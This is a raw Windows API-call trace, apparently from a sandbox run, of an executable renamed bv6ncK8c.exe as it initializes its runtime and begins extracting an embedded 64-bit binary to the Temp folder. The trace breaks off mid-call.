[0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0124.905] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0124.906] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0124.907] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0124.908] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3bc) returned 0x5760d0 [0124.908] GetCurrentThreadId () returned 0xfcc [0124.908] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x576498 [0124.908] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x5764b8 [0124.908] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xdaa2f0e7, hStdError=0x0)) [0124.908] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0124.908] GetFileType (hFile=0x3) returned 0x2 [0125.088] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0125.089] GetFileType (hFile=0x80) returned 0x3 [0125.089] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0125.089] GetFileType (hFile=0xb) returned 0x2 [0125.089] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"Journal.exe.mui\" -nobanner" [0125.089] GetEnvironmentStringsW () returned 0x576cc0* [0125.089] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xb86) returned 0x577850 [0125.090] FreeEnvironmentStringsW (penv=0x576cc0) returned 1 [0125.090] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x7a) returned 0x576cc0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xa0) returned 0x576d48 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3e) returned 0x5783f8 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6c) returned 0x576df0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x6e) returned 0x576e68 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x78) returned 0x56f8f0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x62) returned 0x576ee0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x576f50 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x576f88 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x576fd8 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x28) returned 0x577010 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1a) returned 0x575aa0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x4a) returned 0x577040 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x72) returned 0x56f970 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x577098 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x5770d0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1c) returned 0x575ac8 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0xd2) returned 0x577108 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x7c) returned 0x5771e8 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x577270 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x578440 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x90) returned 0x5772b0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x577348 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x577378 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x36) returned 0x5773b0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x48) returned 0x5773f0 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x577440 [0125.090] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x578488 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x18) returned 0x5774a0 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x82) returned 0x5774c0 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2e) returned 0x577550 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x575af0 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2c) returned 0x577588 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x5775c0 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x52) returned 0x577620 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x2a) returned 0x577680 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3c) returned 0x5784d0 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x54) returned 0x5776b8 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x24) returned 0x577718 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x30) returned 0x577748 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x8c) returned 0x577780 [0125.091] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x577850 | out: hHeap=0x560000) returned 1 [0125.091] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x800) returned 0x577818 [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetACP () returned 0x4e4 [0125.092] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x220) returned 0x578020 [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] IsValidCodePage (CodePage=0x4e4) returned 1 [0125.092] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0125.092] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.092] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.092] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.092] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0125.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿwñ¢Úäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0125.092] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0125.092] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0125.092] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0125.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿwñ¢Úäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0125.093] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x80) returned 0x578248 [0125.093] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0125.093] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0125.093] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x578248) returned 0x80 [0125.093] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0125.093] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0125.093] GetCurrentProcess () returned 0xffffffff [0125.093] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0125.093] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0125.093] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0125.093] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0125.093] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0125.094] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0125.094] LockResource (hResData=0x43c648) returned 0x43c648 [0125.094] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x5782d0 [0125.094] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: 